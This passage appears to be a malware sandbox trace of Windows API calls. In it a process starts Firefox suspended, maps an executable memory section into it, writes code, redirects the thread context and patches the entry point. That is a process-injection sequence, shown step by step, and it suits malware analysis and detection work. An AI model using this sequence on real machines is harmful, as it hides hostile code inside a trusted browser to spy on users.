[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x27f, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0063.961] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0063.961] ResumeThread (hThread=0x1140) returned 0x1 [0063.961] Sleep (dwMilliseconds=0x64) [0064.085] SuspendThread (hThread=0x1140) returned 0x0 [0064.085] NtGetContextThread (in: ThreadHandle=0x1140, Context=0x9ebd9d0 | out: Context=0x9ebd9d0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x10000b, MxCsr=0x1f80, SegCs=0x23, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x769f33b8, Rcx=0x0, Rdx=0xd61c9a, Rbx=0x7efde000, Rsp=0x26fe04, Rbp=0x26fe0c, Rsi=0x0, Rdi=0x0, R8=0x773501c4, R9=0x26fb88, R10=0x0, R11=0x202, R12=0x7efdb000, R13=0x9fd20, R14=0x9ec50, R15=0x747b2450, Rip=0xd61c9a, FltSave.ControlWord=0x27f, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x1f80, FltSave.MxCsr_Mask=0xffff, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x27f, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0064.086] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0064.086] NtCreateSection (in: SectionHandle=0x9ebd8d8, DesiredAccess=0xf001f, ObjectAttributes=0x9ebd910*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), MaximumSize=0x9ebd8e0, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x9ebd8d8*=0x1138) returned 0x0 [0064.086] NtMapViewOfSection (in: SectionHandle=0x1138, ProcessHandle=0xffffffffffffffff, BaseAddress=0x9ebd8d0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x9ebd898*=0, ViewSize=0x9ebd860*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x9ebd8d0*=0x9ec0000, SectionOffset=0x9ebd898*=0, ViewSize=0x9ebd860*=0x128000) returned 0x0 [0064.086] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0064.108] NtMapViewOfSection (in: SectionHandle=0x1138, ProcessHandle=0x1178, BaseAddress=0x9ebd8c0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x9ebd898*=0, ViewSize=0x9ebd860*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x9ebd8c0*=0x470000, SectionOffset=0x9ebd898*=0, ViewSize=0x9ebd860*=0x128000) returned 0x0 [0064.108] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0064.111] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x318) returned 0x9770a90 [0064.120] NtAllocateVirtualMemory (in: ProcessHandle=0x1178, BaseAddress=0x9ebd340*=0x0, ZeroBits=0x0, RegionSize=0x9ebd348*=0x318, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x9ebd340*=0x140000, RegionSize=0x9ebd348*=0x1000) returned 0x0 [0064.121] NtGetContextThread (in: ThreadHandle=0x1140, Context=0x9ebd390 | out: Context=0x9ebd390*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100003, MxCsr=0x0, SegCs=0x23, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x769f33b8, Rcx=0x0, Rdx=0xd61c9a, Rbx=0x7efde000, Rsp=0x26fe04, Rbp=0x26fe0c, Rsi=0x0, Rdi=0x0, R8=0x773501c4, R9=0x26fb88, R10=0x0, R11=0x202, R12=0x7efdb000, R13=0x9fd20, R14=0x9ec50, R15=0x747b2450, Rip=0xd61c9a, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0064.121] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0064.121] NtWriteVirtualMemory (in: ProcessHandle=0x1178, BaseAddress=0x140000, Buffer=0x9770a90*, NumberOfBytesToWrite=0x318, NumberOfBytesWritten=0x9ebd880 | out: Buffer=0x9770a90*, NumberOfBytesWritten=0x9ebd880*=0x318) returned 0x0 [0064.121] NtSetContextThread (ThreadHandle=0x1140, Context=0x9ebd390*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100003, MxCsr=0x0, SegCs=0x23, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x140000, Rcx=0x0, Rdx=0xd61c9a, Rbx=0x7efde000, Rsp=0x26fe04, Rbp=0x26fe0c, Rsi=0x0, Rdi=0x0, R8=0x773501c4, R9=0x26fb88, R10=0x0, R11=0x202, R12=0x7efdb000, R13=0x9fd20, R14=0x9ec50, R15=0x747b2450, Rip=0x140218, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0064.121] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0064.121] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770a90 | out: hHeap=0x9770000) returned 1 [0064.121] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x9ec0000) returned 0x0 [0064.134] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0064.134] CloseHandle (hObject=0x1138) returned 1 [0064.134] VirtualProtectEx (in: hProcess=0x1178, lpAddress=0xd61c9a, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x9ebdee8 | out: lpflOldProtect=0x9ebdee8*=0x20) returned 1 [0064.134] NtWriteVirtualMemory (in: ProcessHandle=0x1178, BaseAddress=0xd61c9a, Buffer=0x9ebd9c0*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x9ebd970 | out: Buffer=0x9ebd9c0*, NumberOfBytesWritten=0x9ebd970*=0x4) returned 0x0 [0064.138] VirtualProtectEx (in: hProcess=0x1178, lpAddress=0xd61c9a, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x9ebdee8 | out: lpflOldProtect=0x9ebdee8*=0x40) returned 1 Thread: id = 54 os_tid = 0xb60 [0065.814] PathFindFileNameW (pszPath="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="firefox.exe" [0065.814] StrChrW (lpStart="firefox.exe", wMatch=0x20) returned 0x0 [0065.814] StrChrW (lpStart="firefox.exe", wMatch=0x22) returned 0x0 [0065.814] lstrlenW (lpString="firefox.exe") returned 11 [0065.814] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x18) returned 0x9b6dc30 [0065.814] _wcsupr (in: _String=0x9b6dc30 | out: _String="FIREFOX.EXE") returned="FIREFOX.EXE" [0065.814] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc30 | out: hHeap=0x9770000) returned 1 [0065.814] CreateProcessW (in: lpApplicationName="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpCommandLine="\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4080414, lpEnvironment=0x4457620, lpCurrentDirectory="C:\\Program Files (x86)\\Mozilla Firefox", lpStartupInfo=0x9e6e570*(cb=0x70, lpReserved=0x0, lpDesktop=0x0, lpTitle="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x801, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x72db988 | out: lpCommandLine="\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" ", lpProcessInformation=0x72db988*(hProcess=0x1168, hThread=0x1140, dwProcessId=0xb64, dwThreadId=0xb68)) returned 1 [0065.855] IsWow64Process (in: hProcess=0x1168, Wow64Process=0x9e6deb0 | out: Wow64Process=0x9e6deb0) returned 1 [0065.856] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x1000) returned 0x9a90820 [0065.856] NtQueryInformationProcess (in: ProcessHandle=0x1168, ProcessInformationClass=0x0, ProcessInformation=0x9e6dbd8, ProcessInformationLength=0x30, ReturnLength=0x9e6deb8 | out: ProcessInformation=0x9e6dbd8, ReturnLength=0x9e6deb8) returned 0x0 [0065.856] NtReadVirtualMemory (in: ProcessHandle=0x1168, BaseAddress=0xfffdf000, Buffer=0x9e6dc10, NumberOfBytesToRead=0x268, NumberOfBytesRead=0x9e6deb8 | out: Buffer=0x9e6dc10*, NumberOfBytesRead=0x9e6deb8*=0x268) returned 0x0 [0065.856] NtReadVirtualMemory (in: ProcessHandle=0x1168, BaseAddress=0x1120000, Buffer=0x9a90820, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x9e6deb0 | out: Buffer=0x9a90820*, NumberOfBytesRead=0x9e6deb0*=0x1000) returned 0x0 [0065.856] NtReadVirtualMemory (in: ProcessHandle=0x1168, BaseAddress=0x11200f0, Buffer=0x9a90820, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x9e6deb0 | out: Buffer=0x9a90820*, NumberOfBytesRead=0x9e6deb0*=0x1000) returned 0x0 [0065.857] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a90820 | out: hHeap=0x9770000) returned 1 [0065.857] NtReadVirtualMemory (in: ProcessHandle=0x1168, BaseAddress=0x1122478, Buffer=0x9e6ded0, NumberOfBytesToRead=0x4, NumberOfBytesRead=0x9e6ded8 | out: Buffer=0x9e6ded0*, NumberOfBytesRead=0x9e6ded8*=0x4) returned 0x0 [0065.857] VirtualProtectEx (in: hProcess=0x1168, lpAddress=0x1122478, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x9e6e3f8 | out: lpflOldProtect=0x9e6e3f8*=0x20) returned 1 [0065.879] NtWriteVirtualMemory (in: ProcessHandle=0x1168, BaseAddress=0x1122478, Buffer=0x9e6e408*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x9e6de80 | out: Buffer=0x9e6e408*, NumberOfBytesWritten=0x9e6de80*=0x4) returned 0x0 [0065.882] VirtualProtectEx (in: hProcess=0x1168, lpAddress=0x1122478, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x9e6e3f8 | out: lpflOldProtect=0x9e6e3f8*=0x40) returned 1 [0065.882] ResumeThread (hThread=0x1140) returned 0x1 [0065.882] Sleep (dwMilliseconds=0x64) [0066.179] SuspendThread (hThread=0x1140) returned 0x0 [0066.179] NtGetContextThread (in: ThreadHandle=0x1140, Context=0x9e6dee0 | out: Context=0x9e6dee0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x10000b, MxCsr=0x1f80, SegCs=0x23, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x1c5, Rcx=0x74b6c3a4, Rdx=0x1123c5f, Rbx=0x74b67bd8, Rsp=0x3ff638, Rbp=0x3ff6b4, Rsi=0x74b64908, Rdi=0x74b66284, R8=0x2b, R9=0x7736003a, R10=0x0, R11=0x22dba0, R12=0xfffdb000, R13=0x22fd20, R14=0x22e500, R15=0x747b2450, Rip=0x773700ea, FltSave.ControlWord=0x27f, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x1f80, FltSave.MxCsr_Mask=0xffff, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, 